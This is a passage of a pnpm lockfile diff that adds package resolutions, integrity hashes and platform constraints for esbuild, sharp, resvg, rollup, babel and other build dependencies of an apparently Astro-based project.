'@babel/plugin-transform-react-jsx-source@7.27.1': + resolution: {integrity: sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + + '@babel/template@7.27.2': + resolution: {integrity: sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==} + engines: {node: '>=6.9.0'} + + '@babel/traverse@7.28.5': + resolution: {integrity: sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==} + engines: {node: '>=6.9.0'} + + '@babel/types@7.28.5': + resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==} + engines: {node: '>=6.9.0'} + + '@capsizecss/unpack@3.0.1': + resolution: {integrity: sha512-8XqW8xGn++Eqqbz3e9wKuK7mxryeRjs4LOHLxbh2lwKeSbuNR4NFifDZT4KzvjU6HMOPbiNTsWpniK5EJfTWkg==} + engines: {node: '>=18'} + + '@ctrl/tinycolor@4.2.0': + resolution: {integrity: sha512-kzyuwOAQnXJNLS9PSyrk0CWk35nWJW/zl/6KvnTBMFK65gm7U1/Z5BqjxeapjZCIhQcM/DsrEmcbRwDyXyXK4A==} + engines: {node: '>=14'} + + '@emmetio/abbreviation@2.3.3': + resolution: {integrity: sha512-mgv58UrU3rh4YgbE/TzgLQwJ3pFsHHhCLqY20aJq+9comytTXUDNGG/SMtSeMJdkpxgXSXunBGLD8Boka3JyVA==} + + '@emmetio/css-abbreviation@2.1.8': + resolution: {integrity: sha512-s9yjhJ6saOO/uk1V74eifykk2CBYi01STTK3WlXWGOepyKa23ymJ053+DNQjpFcy1ingpaO7AxCcwLvHFY9tuw==} + + '@emmetio/css-parser@0.4.1': + resolution: {integrity: sha512-2bC6m0MV/voF4CTZiAbG5MWKbq5EBmDPKu9Sb7s7nVcEzNQlrZP6mFFFlIaISM8X6514H9shWMme1fCm8cWAfQ==} + + '@emmetio/html-matcher@1.3.0': + resolution: {integrity: sha512-NTbsvppE5eVyBMuyGfVu2CRrLvo7J4YHb6t9sBFLyY03WYhXET37qA4zOYUjBWFCRHO7pS1B9khERtY0f5JXPQ==} + + '@emmetio/scanner@1.0.4': + resolution: {integrity: sha512-IqRuJtQff7YHHBk4G8YZ45uB9BaAGcwQeVzgj/zj8/UdOhtQpEIupUhSk8dys6spFIWVZVeK20CzGEnqR5SbqA==} + + '@emmetio/stream-reader-utils@0.1.0': + resolution: {integrity: sha512-ZsZ2I9Vzso3Ho/pjZFsmmZ++FWeEd/txqybHTm4OgaZzdS8V9V/YYWQwg5TC38Z7uLWUV1vavpLLbjJtKubR1A==} + + '@emmetio/stream-reader@2.2.0': + resolution: {integrity: sha512-fXVXEyFA5Yv3M3n8sUGT7+fvecGrZP4k6FnWWMSZVQf69kAq0LLpaBQLGcPR30m3zMmKYhECP4k/ZkzvhEW5kw==} + + '@emnapi/runtime@1.7.1': + resolution: {integrity: sha512-PVtJr5CmLwYAU9PZDMITZoR5iAOShYREoR45EyyLrbntV50mdePTgUn4AmOw90Ifcj+x2kRjdzr1HP3RrNiHGA==} + + '@esbuild/aix-ppc64@0.25.12': + resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [aix] + + '@esbuild/android-arm64@0.25.12': + resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [android] + + '@esbuild/android-arm@0.25.12': + resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==} + engines: {node: '>=18'} + cpu: [arm] + os: [android] + + '@esbuild/android-x64@0.25.12': + resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==} + engines: {node: '>=18'} + cpu: [x64] + os: [android] + + '@esbuild/darwin-arm64@0.25.12': + resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [darwin] + + '@esbuild/darwin-x64@0.25.12': + resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==} + engines: {node: '>=18'} + cpu: [x64] + os: [darwin] + + '@esbuild/freebsd-arm64@0.25.12': + resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [freebsd] + + '@esbuild/freebsd-x64@0.25.12': + resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [freebsd] + + '@esbuild/linux-arm64@0.25.12': + resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==} + engines: {node: '>=18'} + cpu: [arm64] + os: [linux] + + '@esbuild/linux-arm@0.25.12': + resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==} + engines: {node: '>=18'} + cpu: [arm] + os: [linux] + + '@esbuild/linux-ia32@0.25.12': + resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==} + engines: {node: '>=18'} + cpu: [ia32] + os: [linux] + + '@esbuild/linux-loong64@0.25.12': + resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==} + engines: {node: '>=18'} + cpu: [loong64] + os: [linux] + + '@esbuild/linux-mips64el@0.25.12': + resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==} + engines: {node: '>=18'} + cpu: [mips64el] + os: [linux] + + '@esbuild/linux-ppc64@0.25.12': + resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==} + engines: {node: '>=18'} + cpu: [ppc64] + os: [linux] + + '@esbuild/linux-riscv64@0.25.12': + resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==} + engines: {node: '>=18'} + cpu: [riscv64] + os: [linux] + + '@esbuild/linux-s390x@0.25.12': + resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==} + engines: {node: '>=18'} + cpu: [s390x] + os: [linux] + + '@esbuild/linux-x64@0.25.12': + resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==} + engines: {node: '>=18'} + cpu: [x64] + os: [linux] + + '@esbuild/netbsd-arm64@0.25.12': + resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [netbsd] + + '@esbuild/netbsd-x64@0.25.12': + resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==} + engines: {node: '>=18'} + cpu: [x64] + os: [netbsd] + + '@esbuild/openbsd-arm64@0.25.12': + resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openbsd] + + '@esbuild/openbsd-x64@0.25.12': + resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==} + engines: {node: '>=18'} + cpu: [x64] + os: [openbsd] + + '@esbuild/openharmony-arm64@0.25.12': + resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [openharmony] + + '@esbuild/sunos-x64@0.25.12': + resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==} + engines: {node: '>=18'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.25.12': + resolution: {integrity: sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==} + engines: {node: '>=18'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.25.12': + resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==} + engines: {node: '>=18'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.25.12': + resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==} + engines: {node: '>=18'} + cpu: [x64] + os: [win32] + + '@expressive-code/core@0.41.5': + resolution: {integrity: sha512-II5TEy5eOoXiqPwqtpSqwamUd7lZS3YH3ofxR1ZyQMmygqORZn8/7SzgfF8G0kB7uKCBzFZT6RgKgCuHcJuPpA==} + + '@expressive-code/plugin-frames@0.41.5': + resolution: {integrity: sha512-qU0cvAQGfRLX7XwGf3/+hqIVmAc/mNNTlqVLR0iBfJF6EKvtP3R7/uAlPrAxnxQxn0meTazCz8D+PsPyOpHKrQ==} + + '@expressive-code/plugin-shiki@0.41.5': + resolution: {integrity: sha512-gw6OWvnmDmvcKJ5AZSzl2VkuixJMQ/zWSwPLFNzitqCa8aPfIFunb0K8IIOsE43LELgOWkie9lRFspOxwDVwrg==} + + '@expressive-code/plugin-text-markers@0.41.5': + resolution: {integrity: sha512-0DSiTsjWFEz6/iuLOGNNy2GaeCW41OwnVJMKx1tS+XKeQxAL89UkZP3egWNzxjWNHNMzEv3ZWWWYqbonEQlv/Q==} + + '@fontsource/ibm-plex-mono@5.2.7': + resolution: {integrity: sha512-MKAb8qV+CaiMQn2B0dIi1OV3565NYzp3WN5b4oT6LTkk+F0jR6j0ZN+5BKJiIhffDC3rtBULsYZE65+0018z9w==} + + '@fontsource/ibm-plex-sans@5.2.8': + resolution: {integrity: sha512-eztSXjDhPhcpxNIiGTgMebdLP9qS4rWkysuE1V7c+DjOR0qiezaiDaTwQE7bTnG5HxAY/8M43XKDvs3cYq6ZYQ==} + + '@img/colour@1.0.0': + resolution: {integrity: sha512-A5P/LfWGFSl6nsckYtjw9da+19jB8hkJ6ACTGcDfEJ0aE+l2n2El7dsVM7UVHZQ9s2lmYMWlrS21YLy2IR1LUw==} + engines: {node: '>=18'} + + '@img/sharp-darwin-arm64@0.34.5': + resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [darwin] + + '@img/sharp-darwin-x64@0.34.5': + resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-darwin-arm64@1.2.4': + resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} + cpu: [arm64] + os: [darwin] + + '@img/sharp-libvips-darwin-x64@1.2.4': + resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} + cpu: [x64] + os: [darwin] + + '@img/sharp-libvips-linux-arm64@1.2.4': + resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-arm@1.2.4': + resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-ppc64@1.2.4': + resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-riscv64@1.2.4': + resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-s390x@1.2.4': + resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linux-x64@1.2.4': + resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + resolution: {integrity: sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg==} + cpu: [x64] + os: [linux] + libc: [musl] + + '@img/sharp-linux-arm64@0.34.5': + resolution: {integrity: sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-arm@0.34.5': + resolution: {integrity: sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-ppc64@0.34.5': + resolution: {integrity: sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ppc64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-riscv64@0.34.5': + resolution: {integrity: sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [riscv64] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-s390x@0.34.5': + resolution: {integrity: sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [s390x] + os: [linux] + libc: [glibc] + + '@img/sharp-linux-x64@0.34.5': + resolution: {integrity: sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@img/sharp-linuxmusl-arm64@0.34.5': + resolution: {integrity: sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@img/sharp-linuxmusl-x64@0.34.5': + resolution: {integrity: sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [linux] + libc: [musl] + + '@img/sharp-wasm32@0.34.5': + resolution: {integrity: sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [wasm32] + + '@img/sharp-win32-arm64@0.34.5': + resolution: {integrity: sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [arm64] + os: [win32] + + '@img/sharp-win32-ia32@0.34.5': + resolution: {integrity: sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [ia32] + os: [win32] + + '@img/sharp-win32-x64@0.34.5': + resolution: {integrity: sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw==} + engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + cpu: [x64] + os: [win32] + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@lucide/astro@0.562.0': + resolution: {integrity: sha512-Rdtykh/VmH3M7n4ckBWY2X7wTMyJX/At5MuJDZ+5M+QZNebxAa75TU7xmM0OVmQj60UsHvdmqRIRNTqEYIieKg==} + peerDependencies: + astro: ^4 || ^5 + + '@mdx-js/mdx@3.1.1': + resolution: {integrity: sha512-f6ZO2ifpwAQIpzGWaBQT2TXxPv6z3RBzQKpVftEWN78Vl/YweF1uwussDx8ECAXVtr3Rs89fKyG9YlzUs9DyGQ==} + + '@oslojs/encoding@1.1.0': + resolution: {integrity: sha512-70wQhgYmndg4GCPxPPxPGevRKqTIJ2Nh4OkiMWmDAVYsTQ+Ta7Sq+rPevXyXGdzr30/qZBnyOalCszoMxlyldQ==} + + '@resvg/resvg-js-android-arm-eabi@2.6.2': + resolution: {integrity: sha512-FrJibrAk6v29eabIPgcTUMPXiEz8ssrAk7TXxsiZzww9UTQ1Z5KAbFJs+Z0Ez+VZTYgnE5IQJqBcoSiMebtPHA==} + engines: {node: '>= 10'} + cpu: [arm] + os: [android] + + '@resvg/resvg-js-android-arm64@2.6.2': + resolution: {integrity: sha512-VcOKezEhm2VqzXpcIJoITuvUS/fcjIw5NA/w3tjzWyzmvoCdd+QXIqy3FBGulWdClvp4g+IfUemigrkLThSjAQ==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [android] + + '@resvg/resvg-js-darwin-arm64@2.6.2': + resolution: {integrity: sha512-nmok2LnAd6nLUKI16aEB9ydMC6Lidiiq2m1nEBDR1LaaP7FGs4AJ90qDraxX+CWlVuRlvNjyYJTNv8qFjtL9+A==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [darwin] + + '@resvg/resvg-js-darwin-x64@2.6.2': + resolution: {integrity: sha512-GInyZLjgWDfsVT6+SHxQVRwNzV0AuA1uqGsOAW+0th56J7Nh6bHHKXHBWzUrihxMetcFDmQMAX1tZ1fZDYSRsw==} + engines: {node: '>= 10'} + cpu: [x64] + os: [darwin] + + '@resvg/resvg-js-linux-arm-gnueabihf@2.6.2': + resolution: {integrity: sha512-YIV3u/R9zJbpqTTNwTZM5/ocWetDKGsro0SWp70eGEM9eV2MerWyBRZnQIgzU3YBnSBQ1RcxRZvY/UxwESfZIw==} + engines: {node: '>= 10'} + cpu: [arm] + os: [linux] + + '@resvg/resvg-js-linux-arm64-gnu@2.6.2': + resolution: {integrity: sha512-zc2BlJSim7YR4FZDQ8OUoJg5holYzdiYMeobb9pJuGDidGL9KZUv7SbiD4E8oZogtYY42UZEap7dqkkYuA91pg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + libc: [glibc] + + '@resvg/resvg-js-linux-arm64-musl@2.6.2': + resolution: {integrity: sha512-3h3dLPWNgSsD4lQBJPb4f+kvdOSJHa5PjTYVsWHxLUzH4IFTJUAnmuWpw4KqyQ3NA5QCyhw4TWgxk3jRkQxEKg==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [linux] + libc: [musl] + + '@resvg/resvg-js-linux-x64-gnu@2.6.2': + resolution: {integrity: sha512-IVUe+ckIerA7xMZ50duAZzwf1U7khQe2E0QpUxu5MBJNao5RqC0zwV/Zm965vw6D3gGFUl7j4m+oJjubBVoftw==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + libc: [glibc] + + '@resvg/resvg-js-linux-x64-musl@2.6.2': + resolution: {integrity: sha512-UOf83vqTzoYQO9SZ0fPl2ZIFtNIz/Rr/y+7X8XRX1ZnBYsQ/tTb+cj9TE+KHOdmlTFBxhYzVkP2lRByCzqi4jQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [linux] + libc: [musl] + + '@resvg/resvg-js-win32-arm64-msvc@2.6.2': + resolution: {integrity: sha512-7C/RSgCa+7vqZ7qAbItfiaAWhyRSoD4l4BQAbVDqRRsRgY+S+hgS3in0Rxr7IorKUpGE69X48q6/nOAuTJQxeQ==} + engines: {node: '>= 10'} + cpu: [arm64] + os: [win32] + + '@resvg/resvg-js-win32-ia32-msvc@2.6.2': + resolution: {integrity: sha512-har4aPAlvjnLcil40AC77YDIk6loMawuJwFINEM7n0pZviwMkMvjb2W5ZirsNOZY4aDbo5tLx0wNMREp5Brk+w==} + engines: {node: '>= 10'} + cpu: [ia32] + os: [win32] + + '@resvg/resvg-js-win32-x64-msvc@2.6.2': + resolution: {integrity: sha512-ZXtYhtUr5SSaBrUDq7DiyjOFJqBVL/dOBN7N/qmi/pO0IgiWW/f/ue3nbvu9joWE5aAKDoIzy/CxsY0suwGosQ==} + engines: {node: '>= 10'} + cpu: [x64] + os: [win32] + + '@resvg/resvg-js@2.6.2': + resolution: {integrity: sha512-xBaJish5OeGmniDj9cW5PRa/PtmuVU3ziqrbr5xJj901ZDN4TosrVaNZpEiLZAxdfnhAe7uQ7QFWfjPe9d9K2Q==} + engines: {node: '>= 10'} + + '@rolldown/pluginutils@1.0.0-beta.27': + resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + + '@rollup/pluginutils@5.3.0': + resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + + '@rollup/rollup-android-arm-eabi@4.53.3': + resolution: {integrity: sha512-mRSi+4cBjrRLoaal2PnqH82Wqyb+d3HsPUN/W+WslCXsZsyHa9ZeQQX/pQsZaVIWDkPcpV6jJ+3KLbTbgnwv8w==} + cpu: [arm] + os: [android] + + '@rollup/rollup-android-arm64@4.53.3': + resolution: {integrity: sha512-CbDGaMpdE9sh7sCmTrTUyllhrg65t6SwhjlMJsLr+J8YjFuPmCEjbBSx4Z/e4SmDyH3aB5hGaJUP2ltV/vcs4w==} + cpu: [arm64] + os: [android] + + '@rollup/rollup-darwin-arm64@4.53.3': + resolution: {integrity: sha512-Nr7SlQeqIBpOV6BHHGZgYBuSdanCXuw09hon14MGOLGmXAFYjx1wNvquVPmpZnl0tLjg25dEdr4IQ6GgyToCUA==} + cpu: [arm64] + os: [darwin] + + '@rollup/rollup-darwin-x64@4.53.3': + resolution: {integrity: sha512-DZ8N4CSNfl965CmPktJ8oBnfYr3F8dTTNBQkRlffnUarJ2ohudQD17sZBa097J8xhQ26AwhHJ5mvUyQW8ddTsQ==} + cpu: [x64] + os: [darwin] + + '@rollup/rollup-freebsd-arm64@4.53.3': + resolution: {integrity: sha512-yMTrCrK92aGyi7GuDNtGn2sNW+Gdb4vErx4t3Gv/Tr+1zRb8ax4z8GWVRfr3Jw8zJWvpGHNpss3vVlbF58DZ4w==} + cpu: [arm64] + os: [freebsd] + + '@rollup/rollup-freebsd-x64@4.53.3': + resolution: {integrity: sha512-lMfF8X7QhdQzseM6XaX0vbno2m3hlyZFhwcndRMw8fbAGUGL3WFMBdK0hbUBIUYcEcMhVLr1SIamDeuLBnXS+Q==} + cpu: [x64] + os: [freebsd] + + '@rollup/rollup-linux-arm-gnueabihf@4.53.3': + resolution: {integrity: sha512-k9oD15soC/Ln6d2Wv/JOFPzZXIAIFLp6B+i14KhxAfnq76ajt0EhYc5YPeX6W1xJkAdItcVT+JhKl1QZh44/qw==} + cpu: [arm] + os: [linux] + libc: [glibc] + + '@rollup/rollup-linux-arm-musleabihf@4.53.3': + resolution: {integrity: 